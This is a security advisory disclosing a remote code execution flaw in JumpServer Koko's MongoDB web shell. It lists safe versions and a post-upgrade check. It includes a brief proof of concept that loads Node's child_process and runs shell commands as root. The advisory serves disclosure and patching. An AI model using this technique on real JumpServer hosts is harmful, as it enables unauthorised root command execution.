Summary: Jumpserver Koko vulnerable to remote code execution on the host system via MongoDB shell

Details: ### Impact An authenticated user can exploit a vulnerability in MongoDB sessions to execute arbitrary commands, leading to remote code execution. This vulnerability may further be leveraged to gain root privileges on the host system. ### Details Through the WEB CLI interface provided by koko, a user logs into the authorized mongoDB database and exploits the MongoDB session to execute arbitrary commands. ``` admin> const { execSync } = require("child_process") admin> console.log(execSync("id; hostname;").toString()) uid=0(root) gid=0(root) groups=0(root) jms_koko admin> ``` ### Patches Safe versions: - v2.28.20 - v3.7.1 ### Workarounds It is recommended to upgrade the safe versions. After upgrade, you can use the same method to check whether the vulnerability is fixed. ``` admin> console.log(execSync("id; hostname;").toString()) /bin/sh: line 1: /bin/hostname: Permission denied ``` ### References Thanks for **Oskar Zeino-Mahmalat** of [Sonar](https://sonarsource.com/) found and report this vulnerability
